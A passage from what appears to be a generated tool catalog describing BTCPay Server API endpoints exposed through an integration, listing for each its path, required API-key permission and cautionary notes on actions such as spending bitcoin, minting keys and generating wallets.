/api/v1/btc_pay_server/api/v1/webhooks/{webhookId}/deliveries/{deliveryId}/request. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_get_misc_lang (read) — The supported language codes. GET /misc/lang. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/misc/lang. Scopes: api. btc_pay_server_get_misc_permissions (read) — The metadata of available permissions. GET /misc/permissions. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. BTCPay'S OWN COPY OF THE PERMISSION VOCABULARY, from the instance you are connected to, with an `included` array per permission saying which other permissions it implies. Call this when you need to know what to tick while minting a key for a particular set of tools -- it is the authoritative answer for THIS instance and version, where the scope list Agentic Fabriq renders is read from the Greenfield specification. Needs no permission. GET /api/v1/btc_pay_server/misc/permissions. Scopes: api. btc_pay_server_get_misc_rate_sources (read) — View available rate providers that you can use in stores. GET /misc/rate-sources. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. GET /api/v1/btc_pay_server/misc/rate-sources. Scopes: api. btc_pay_server_patch_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_transactions_by_transactionid (write) — Patch store on-chain wallet transaction info. PATCH /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions/{transactionId}. The API key must carry the BTCPay permission `btcpay.store.canmanagewallettransactions`, which is chosen when the key is minted. PATCH /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions/{transactionId}. Scopes: btcpay.store.canmanagewallettransactions. btc_pay_server_post_api_v1_api_keys (write) — Create a new API Key. POST /api/v1/api-keys. The API key must carry the BTCPay permission `unrestricted`, which is chosen when the key is minted. THE REPLY CONTAINS A LIVE CREDENTIAL AND IT IS NOT REDACTED, because that is the entire point of this call and BTCPay never shows the value again. Treat the result as a secret. Requires an `unrestricted` key (or HTTP Basic, which this integration does not implement), so a store-scoped e-commerce key cannot call it -- which is deliberate on BTCPay's part: a key that could mint keys could escalate itself. The new key inherits nothing it does not ask for, and an API key can never expand its creator's own rights. POST /api/v1/btc_pay_server/api/v1/api-keys. Scopes: unrestricted. btc_pay_server_post_api_v1_invitations_by_token (write) — Accept the current user's pending invitation identified by its token. POST /api/v1/invitations/{token}. The API key must carry the BTCPay permission `btcpay.user.canmodifyprofile`, which is chosen when the key is minted. Accepts a store invitation ON BEHALF OF THE ACCOUNT THIS CONNECTION ACTS AS, granting that account access to somebody else's store. The token comes from the invitation e-mail. POST /api/v1/btc_pay_server/api/v1/invitations/{token}. Scopes: btcpay.user.canmodifyprofile. btc_pay_server_post_api_v1_invoices_by_invoiceid_payment_methods_by_paymentmethodid_activate (write) — Activate an invoice payment method (if lazy payments mode is enabled). The store is resolved automatically from the invoice. POST /api/v1/invoices/{invoiceId}/payment-methods/{paymentMethodId}/activate. The API key must carry the BTCPay permission `btcpay.store.canviewinvoices`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}/payment-methods/{paymentMethodId}/activate. Scopes: btcpay.store.canviewinvoices. btc_pay_server_post_api_v1_invoices_by_invoiceid_refund (write) — Refund invoice. The store is resolved automatically from the invoice. POST /api/v1/invoices/{invoiceId}/refund. The API key must carry the BTCPay permission `btcpay.store.cancreatepullpayments`, which is chosen when the key is minted. Creates a PULL PAYMENT the payer can claim against; it does not push coins anywhere by itself and nothing leaves the wallet until a payout is approved and processed. Archive the pull payment to withdraw the offer. POST /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}/refund. Scopes: btcpay.store.cancreatepullpayments. btc_pay_server_post_api_v1_invoices_by_invoiceid_status (write) — Mark an invoice as invalid or settled. The store is resolved automatically from the invoice. POST /api/v1/invoices/{invoiceId}/status. The API key must carry the BTCPay permission `btcpay.store.canmodifyinvoices`, which is chosen when the key is minted. FORCES an invoice's status rather than observing it -- marking an unpaid invoice `Settled` tells the rest of BTCPay, and anything listening to webhooks, that money arrived when it did not. It exists for reconciling out-of-band payments. Reversible only by marking it again. POST /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}/status. Scopes: btcpay.store.canmodifyinvoices. btc_pay_server_post_api_v1_invoices_by_invoiceid_unarchive (write) — Unarchive an invoice. The store is resolved automatically from the invoice. POST /api/v1/invoices/{invoiceId}/unarchive. The API key must carry the BTCPay permission `btcpay.store.canmodifyinvoices`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}/unarchive. Scopes: btcpay.store.canmodifyinvoices. btc_pay_server_post_api_v1_payment_requests_by_paymentrequestid_pay (write) — Create a new invoice for the payment request, or reuse an existing one. The store is resolved automatically from the payment request. POST /api/v1/payment-requests/{paymentRequestId}/pay. The API key must carry the BTCPay permission `btcpay.store.canviewpaymentrequests`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/payment-requests/{paymentRequestId}/pay. Scopes: btcpay.store.canviewpaymentrequests. btc_pay_server_post_api_v1_payouts_by_payoutid (write) — Approve a payout. POST /api/v1/payouts/{payoutId}. The API key must carry the BTCPay permission `btcpay.store.canmanagepullpayments`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/payouts/{payoutId}. Scopes: btcpay.store.canmanagepullpayments. btc_pay_server_post_api_v1_payouts_by_payoutid_mark (write) — Mark a payout with a state. POST /api/v1/payouts/{payoutId}/mark. The API key must carry the BTCPay permission `btcpay.store.canmanagepullpayments`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/payouts/{payoutId}/mark. Scopes: btcpay.store.canmanagepullpayments. btc_pay_server_post_api_v1_payouts_by_payoutid_mark_paid (write) — Mark a payout as paid. POST /api/v1/payouts/{payoutId}/mark-paid. The API key must carry the BTCPay permission `btcpay.store.canmanagepullpayments`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/payouts/{payoutId}/mark-paid. Scopes: btcpay.store.canmanagepullpayments. btc_pay_server_post_api_v1_plan_checkout (write) — Creates a checkout session for purchasing or activating a plan. POST /api/v1/plan-checkout. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/plan-checkout. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_post_api_v1_plan_checkout_by_checkoutid (write) — Continues a plan checkout session. **Behavior:** - If payment is required, the checkout assigns a BTCPay Server invoice and `invoiceId` will be set. - If no payment is required (for example, the subscriber already has enough credit or no credit purchase is needed), the plan will start immediately and `planStarted` will be `true`. POST /api/v1/plan-checkout/{checkoutId}. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. POST /api/v1/btc_pay_server/api/v1/plan-checkout/{checkoutId}. Scopes: api. btc_pay_server_post_api_v1_pull_payments_by_pullpaymentid_boltcards (write) — Linking a boltcard to a pull payment will allow you to pay via NFC with it, the money will be sent from the pull payment. The boltcard keys are generated using [Deterministic Boltcard Key Generation](https://github.com/boltcard/boltcard/blob/main/docs/DETERMINISTIC.md). POST /api/v1/pull-payments/{pullPaymentId}/boltcards. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. POST /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}/boltcards. Scopes: api. btc_pay_server_post_api_v1_pull_payments_by_pullpaymentid_payouts (write) — Create a new payout. POST /api/v1/pull-payments/{pullPaymentId}/payouts. Needs no BTCPay permission: the specification declares this endpoint with an empty permission list, so any valid API key reaches it. POST /api/v1/btc_pay_server/api/v1/pull-payments/{pullPaymentId}/payouts. Scopes: api. btc_pay_server_post_api_v1_server_lightning_by_cryptocode_address (write) — Get an on-chain deposit address for the lightning node. POST /api/v1/server/lightning/{cryptoCode}/address. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/address. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_post_api_v1_server_lightning_by_cryptocode_channels (write) — Open a channel with another lightning node. You should connect to that node first. POST /api/v1/server/lightning/{cryptoCode}/channels. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/channels. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_post_api_v1_server_lightning_by_cryptocode_connect (write) — Connect to another lightning node. POST /api/v1/server/lightning/{cryptoCode}/connect. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/connect. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_post_api_v1_server_lightning_by_cryptocode_invoices (write) — Create a lightning invoice. POST /api/v1/server/lightning/{cryptoCode}/invoices. The API key must carry the BTCPay permission `btcpay.server.cancreatelightninginvoiceinternalnode`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/invoices. Scopes: btcpay.server.cancreatelightninginvoiceinternalnode. btc_pay_server_post_api_v1_server_lightning_by_cryptocode_invoices_pay (write, destructive) — Pay a lightning invoice. In case the payment response times out, the status will be reported as pending and the final status can be resolved using the [Get payment](#operation/InternalLightningNodeApi_GetPayment) endpoint. The default wait time for payment responses is 30 seconds — it might take longer if multiple routes are tried or a hold invoice is getting paid. POST /api/v1/server/lightning/{cryptoCode}/invoices/pay. The API key must carry the BTCPay permission `btcpay.server.canuseinternallightningnode`, which is chosen when the key is minted. SPENDS REAL BITCOIN from the SERVER'S INTERNAL node, which every store on the instance may be sharing. Irreversible once settled. BTCPay waits about 30 seconds for a result and then reports `pending`; that is NOT a failure and must not be retried blindly -- resolve it with 'Get a lightning payment made by the server's internal node' using the payment hash, because paying twice is how a retry loses the money twice. POST /api/v1/btc_pay_server/api/v1/server/lightning/{cryptoCode}/invoices/pay. Scopes: btcpay.server.canuseinternallightningnode. btc_pay_server_post_api_v1_stores (write) — Create a new store (default values can be different if the server settings use a default store template). POST /api/v1/stores. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_apps_crowdfund (write) — Create a new Crowdfund app. POST /api/v1/stores/{storeId}/apps/crowdfund. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/apps/crowdfund. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_apps_pos (write) — Point of Sale app allows accepting payments for items in a virtual store. POST /api/v1/stores/{storeId}/apps/pos. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/apps/pos. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_email_send (write) — Send an email using the store's SMTP server. POST /api/v1/stores/{storeId}/email/send. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. Sends e-mail as the STORE, through the store's own SMTP settings, to whatever addresses the body names. It reaches real inboxes; there is no sandbox. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/email/send. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_invoices (write) — Create a new invoice. POST /api/v1/stores/{storeId}/invoices. The API key must carry the BTCPay permission `btcpay.store.cancreateinvoice`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/invoices. Scopes: btcpay.store.cancreateinvoice. btc_pay_server_post_api_v1_stores_by_storeid_lightning_addresses_by_username (write) — Add or update store configured lightning address. POST /api/v1/stores/{storeId}/lightning-addresses/{username}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning-addresses/{username}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_lightning_by_cryptocode_address (write) — Get an on-chain deposit address for the lightning node. POST /api/v1/stores/{storeId}/lightning/{cryptoCode}/address. The API key must carry the BTCPay permission `btcpay.store.cancreatelightninginvoice`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/address. Scopes: btcpay.store.cancreatelightninginvoice. btc_pay_server_post_api_v1_stores_by_storeid_lightning_by_cryptocode_channels (write) — Open a channel with another lightning node. You should connect to that node first. POST /api/v1/stores/{storeId}/lightning/{cryptoCode}/channels. The API key must carry the BTCPay permission `btcpay.store.cancreatelightninginvoice`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/channels. Scopes: btcpay.store.cancreatelightninginvoice. btc_pay_server_post_api_v1_stores_by_storeid_lightning_by_cryptocode_connect (write) — Connect to another lightning node. POST /api/v1/stores/{storeId}/lightning/{cryptoCode}/connect. The API key must carry the BTCPay permission `btcpay.store.cancreatelightninginvoice`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/connect. Scopes: btcpay.store.cancreatelightninginvoice. btc_pay_server_post_api_v1_stores_by_storeid_lightning_by_cryptocode_invoices (write) — Create a lightning invoice. POST /api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices. The API key must carry the BTCPay permission `btcpay.server.cancreatelightninginvoiceinternalnode`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices. Scopes: btcpay.server.cancreatelightninginvoiceinternalnode. btc_pay_server_post_api_v1_stores_by_storeid_lightning_by_cryptocode_invoices_pay (write, destructive) — Pay a lightning invoice. In case the payment response times out, the status will be reported as pending and the final status can be resolved using the [Get payment](#operation/StoreLightningNodeApi_GetPayment) endpoint. The default wait time for payment responses is 30 seconds — it might take longer if multiple routes are tried or a hold invoice is getting paid. POST /api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices/pay. The API key must carry the BTCPay permission `btcpay.store.cancreatelightninginvoice`, which is chosen when the key is minted. SPENDS REAL BITCOIN from the store's lightning node. Irreversible once settled. Same 30-second timeout and the same `pending` reply as the internal-node form: resolve it with 'Get a lightning payment made by a store's node' rather than retrying, because a retry can pay twice. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/lightning/{cryptoCode}/invoices/pay. Scopes: btcpay.store.cancreatelightninginvoice. btc_pay_server_post_api_v1_stores_by_storeid_offerings (write) — Creates a new offering for the specified store. POST /api/v1/stores/{storeId}/offerings. The API key must carry the BTCPay permission `btcpay.store.canmodifyofferings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings. Scopes: btcpay.store.canmodifyofferings. btc_pay_server_post_api_v1_stores_by_storeid_offerings_by_offeringid_plans (write) — Creates a new plan for a specific offering. POST /api/v1/stores/{storeId}/offerings/{offeringId}/plans. The API key must carry the BTCPay permission `btcpay.store.canmodifyofferings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/plans. Scopes: btcpay.store.canmodifyofferings. btc_pay_server_post_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector_credits_by_currency (write) — Adds credit or charges credit for a subscriber in a given currency. POST /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/credits/{currency}. The API key must carry the BTCPay permission `btcpay.store.cancreditsubscribers`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/credits/{currency}. Scopes: btcpay.store.cancreditsubscribers. btc_pay_server_post_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector_suspend (write) — Suspends a subscriber for the specified offering. POST /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/suspend. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/suspend. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_post_api_v1_stores_by_storeid_offerings_by_offeringid_subscribers_by_customerselector_unsuspend (write) — Removes suspension from a subscriber for the specified offering. POST /api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/unsuspend. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/offerings/{offeringId}/subscribers/{customerSelector}/unsuspend. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_post_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_generate (write, destructive) — Generate a wallet and update the specified store's payment method to it. POST /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/generate. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. GENERATES A NEW WALLET AND POINTS THE STORE AT IT, which makes this the most dangerous call on the surface. If the store already has a wallet configured, it is REPLACED: BTCPay will stop watching the old one, and any funds there become unreachable through this store. THE REPLY CARRIES THE SEED PHRASE (`mnemonic`) and Agentic Fabriq does not redact it -- BTCPay's own field description says 'BE SURE TO backup the mnemonic', and it is the only copy that will ever exist, so removing it would destroy the customer's recovery material rather than protect a credential. Capture it somewhere safe and treat the tool result as secret. `savePrivateKeys: false` with no `existingMnemonic` means BTCPay keeps nothing: lose the mnemonic and the funds are gone. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/generate. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_objects (write) — Add/Update wallet objects. POST /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects. The API key must carry the BTCPay permission `btcpay.store.canmanagewallettransactions`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects. Scopes: btcpay.store.canmanagewallettransactions. btc_pay_server_post_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_objects_by_objecttype_by_objectid_links (write) — Add/Update wallet object link. POST /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}/links. The API key must carry the BTCPay permission `btcpay.store.canmanagewallettransactions`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/objects/{objectType}/{objectId}/links. Scopes: btcpay.store.canmanagewallettransactions. btc_pay_server_post_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_preview (write) — View addresses of a proposed payment method of the store. POST /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/preview. The API key must carry the BTCPay permission `btcpay.store.canmanagewalletsettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/preview. Scopes: btcpay.store.canmanagewalletsettings. btc_pay_server_post_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_transactions (write, destructive) — Create store on-chain wallet transaction. Requires `btcpay.store.cancreatetransactions` and `btcpay.store.cansigntransactions`. Also requires `btcpay.store.canbroadcasttransactions` when `proceedWithBroadcast` is true, including Payjoin. POST /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions. The API key must carry the BTCPay permissions `btcpay.store.cancreatetransactions`, `btcpay.store.cansigntransactions`, which are chosen when the key is minted. MOVES REAL BITCOIN AND CANNOT BE UNDONE once broadcast. BTCPay's own description names three permissions: `btcpay.store.cancreatetransactions` and `btcpay.store.cansigntransactions` always, plus `btcpay.store.canbroadcasttransactions` when `proceedWithBroadcast` is true (including Payjoin). Send `proceedWithBroadcast: false` to get a signed transaction back WITHOUT publishing it, which is the safe way to have an agent prepare a payment for a human to release. There is no cancel: a broadcast transaction is final. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions. Scopes: btcpay.store.cancreatetransactions, btcpay.store.cansigntransactions. btc_pay_server_post_api_v1_stores_by_storeid_payment_methods_by_paymentmethodid_wallet_transactions_broadcast (write, destructive) — Broadcast a raw transaction hex string or a finalized PSBT for the specified wallet. POST /api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions/broadcast. The API key must carry the BTCPay permission `btcpay.store.canbroadcasttransactions`, which is chosen when the key is minted. PUBLISHES A TRANSACTION TO THE BITCOIN NETWORK. Irreversible, and it does not care where the hex or the finalized PSBT came from -- this is the release step for anything 'Create store on-chain wallet transaction' prepared with `proceedWithBroadcast: false`. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-methods/{paymentMethodId}/wallet/transactions/broadcast. Scopes: btcpay.store.canbroadcasttransactions. btc_pay_server_post_api_v1_stores_by_storeid_payment_requests (write) — Create a new payment request. POST /api/v1/stores/{storeId}/payment-requests. The API key must carry the BTCPay permission `btcpay.store.canmodifypaymentrequests`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payment-requests. Scopes: btcpay.store.canmodifypaymentrequests. btc_pay_server_post_api_v1_stores_by_storeid_payouts (write) — Create a new payout. POST /api/v1/stores/{storeId}/payouts. The API key must carry the BTCPay permissions `btcpay.store.cancreatenonapprovedpullpayments`, `btcpay.store.cancreatepullpayments`, which are chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/payouts. Scopes: btcpay.store.cancreatenonapprovedpullpayments, btcpay.store.cancreatepullpayments. btc_pay_server_post_api_v1_stores_by_storeid_pull_payments (write) — A pull payment allows its receiver to ask for payouts up to `amount` of `currency` every `period`. POST /api/v1/stores/{storeId}/pull-payments. The API key must carry the BTCPay permissions `btcpay.store.cancreatenonapprovedpullpayments`, `btcpay.store.cancreatepullpayments`, which are chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/pull-payments. Scopes: btcpay.store.cancreatenonapprovedpullpayments, btcpay.store.cancreatepullpayments. btc_pay_server_post_api_v1_stores_by_storeid_rates_configuration_preview (write) — Preview rate configuration results before you set it on the store. POST /api/v1/stores/{storeId}/rates/configuration/preview. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/rates/configuration/preview. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_users (write) — Add a store user. By default, this creates a store invitation. To add the user directly, set `requireInvitation` to `false`; this requires server settings permission. POST /api/v1/stores/{storeId}/users. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/users. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_users_by_idoremail_invitation (write) — Generate and deliver a new token for an existing pending store invitation. POST /api/v1/stores/{storeId}/users/{idOrEmail}/invitation. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/users/{idOrEmail}/invitation. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_post_api_v1_stores_by_storeid_webhooks (write) — Create a new webhook. POST /api/v1/stores/{storeId}/webhooks. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. THE REPLY CONTAINS THE WEBHOOK SECRET, deliberately and only here: it is the HMAC key your receiver needs to verify the `BTCPay-Sig` header (`sha256=HMAC256(UTF8(secret), body)`), and `GET /api/v1/webhooks/{webhookId}` does NOT return it -- checked against the sealed schema. Leave `secret` out of the request and BTCPay generates one. POST /api/v1/btc_pay_server/api/v1/stores/{storeId}/webhooks. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_post_api_v1_subscriber_portal (write) — Creates a portal session that allows a subscriber to manage their subscriptions, view billing details, or update account information. POST /api/v1/subscriber-portal. The API key must carry the BTCPay permission `btcpay.store.canmanagesubscribers`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/subscriber-portal. Scopes: btcpay.store.canmanagesubscribers. btc_pay_server_post_api_v1_users (write) — Create a new user. This operation can be called without authentication in any of this cases: * There is not any administrator yet on the server, * User registrations are not disabled in the server's policies. If the first administrator is created by this call, user registrations are automatically disabled. POST /api/v1/users. The API key must carry the BTCPay permission `btcpay.server.cancreateuser`, which is chosen when the key is minted. Creates a BTCPay user. Whether an unauthenticated caller may do this depends on the instance's registration policy, and the FIRST user created on a fresh instance becomes the server administrator -- so on a new instance this is an administrator-creation call. Omit `password` and BTCPay e-mails the new user a link to set their own, which keeps the secret out of this request and out of any log that records it. POST /api/v1/btc_pay_server/api/v1/users. Scopes: btcpay.server.cancreateuser. btc_pay_server_post_api_v1_users_by_idoremail_api_keys (write) — Create a new API Key for a user. POST /api/v1/users/{idOrEmail}/api-keys. The API key must carry the BTCPay permission `btcpay.server.canmanageusers`, which is chosen when the key is minted. THE REPLY CONTAINS A LIVE CREDENTIAL FOR ANOTHER USER and is not redacted, for the same reason as 'Create a new API Key': it is shown once. This is the server-administrator form -- it mints a key that acts as somebody else -- so it is the sharpest privilege on this surface after the wallet tools. Requires an `unrestricted` key. POST /api/v1/btc_pay_server/api/v1/users/{idOrEmail}/api-keys. Scopes: btcpay.server.canmanageusers. btc_pay_server_post_api_v1_users_by_idoremail_approve (write) — Approve or unapprove a user. Must be an admin to perform this operation. Attempting to (un)approve a user for which this requirement does not exist will not succeed. POST /api/v1/users/{idOrEmail}/approve. The API key must carry the BTCPay permission `btcpay.user.canmodifyserversettings`, which is chosen when the key is minted. Approves or un-approves another user on an instance whose registration policy requires approval; an un-approved user cannot sign in. Like the lock toggle, the direction comes from the body rather than the verb. THE PERMISSION THIS NEEDS IS UNDOCUMENTED in the same way -- see 'Lock or approve other users' in the permission list. POST /api/v1/btc_pay_server/api/v1/users/{idOrEmail}/approve. Scopes: btcpay.user.canmodifyserversettings. btc_pay_server_post_api_v1_users_by_idoremail_lock (write) — Lock or unlock a user. Must be an admin to perform this operation. Attempting to lock the only admin user will not succeed. POST /api/v1/users/{idOrEmail}/lock. The API key must carry the BTCPay permission `btcpay.user.canmodifyserversettings`, which is chosen when the key is minted. Locks or unlocks another user, which immediately stops their keys working. It is a toggle keyed on the body, not on the verb, so read the current state first if you need to be sure which way it will go. THE PERMISSION THIS NEEDS IS UNDOCUMENTED: the specification declares `btcpay.user.canmodifyserversettings` here, and that string is not in the API_Key scheme's permission table -- which lists the administrator permission as `btcpay.server.canmodifyserversettings` instead. Call 'Permissions metadata' on your own instance to see which spelling it really has, and mint the key with the server-administrator permission if the `user.` one is absent. POST /api/v1/btc_pay_server/api/v1/users/{idOrEmail}/lock. Scopes: btcpay.user.canmodifyserversettings. btc_pay_server_post_api_v1_webhooks_by_webhookid_deliveries_by_deliveryid_redeliver (write) — Redeliver the delivery. POST /api/v1/webhooks/{webhookId}/deliveries/{deliveryId}/redeliver. The API key must carry the BTCPay permission `btcpay.store.webhooks.canmodifywebhooks`, which is chosen when the key is minted. POST /api/v1/btc_pay_server/api/v1/webhooks/{webhookId}/deliveries/{deliveryId}/redeliver. Scopes: btcpay.store.webhooks.canmodifywebhooks. btc_pay_server_put_api_v1_apps_crowdfund_by_appid (write) — Full update. GET the app first, modify the data, then PUT the complete payload. PUT /api/v1/apps/crowdfund/{appId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/apps/crowdfund/{appId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_apps_pos_by_appid (write) — Use this endpoint for updating the properties of a POS app. PUT /api/v1/apps/pos/{appId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/apps/pos/{appId}. Scopes: btcpay.store.canmodifystoresettings. btc_pay_server_put_api_v1_invoices_by_invoiceid (write) — Updates the specified invoice. The store is resolved automatically from the invoice. PUT /api/v1/invoices/{invoiceId}. The API key must carry the BTCPay permission `btcpay.store.canmodifyinvoices`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/invoices/{invoiceId}. Scopes: btcpay.store.canmodifyinvoices. btc_pay_server_put_api_v1_payment_requests_by_paymentrequestid (write) — Update a payment request. The store is resolved automatically from the payment request. PUT /api/v1/payment-requests/{paymentRequestId}. The API key must carry the BTCPay permission `btcpay.store.canmodifypaymentrequests`, which is chosen when the key is minted. PUT /api/v1/btc_pay_server/api/v1/payment-requests/{paymentRequestId}. Scopes: btcpay.store.canmodifypaymentrequests. btc_pay_server_put_api_v1_server_email (write) — Update server's email settings. PUT /api/v1/server/email. The API key must carry the BTCPay permission `btcpay.server.canmodifyserversettings`, which is chosen when the key is minted. Rewrites the SERVER-WIDE outbound mail configuration, which every store without its own settings falls back to -- a wrong value here silently stops password resets and invoice e-mails for the whole instance. BTCPay never returns the password on the matching GET (it answers a boolean `passwordSet` instead), so read-modify-write does NOT round-trip the password: leave it null to keep the stored one. PUT /api/v1/btc_pay_server/api/v1/server/email. Scopes: btcpay.server.canmodifyserversettings. btc_pay_server_put_api_v1_stores_by_storeid (write) — Update the specified store (default values can be different if the server settings use a default store template). PUT /api/v1/stores/{storeId}. The API key must carry the BTCPay permission `btcpay.store.canmodifystoresettings`, which is chosen when the key is minted. PUT 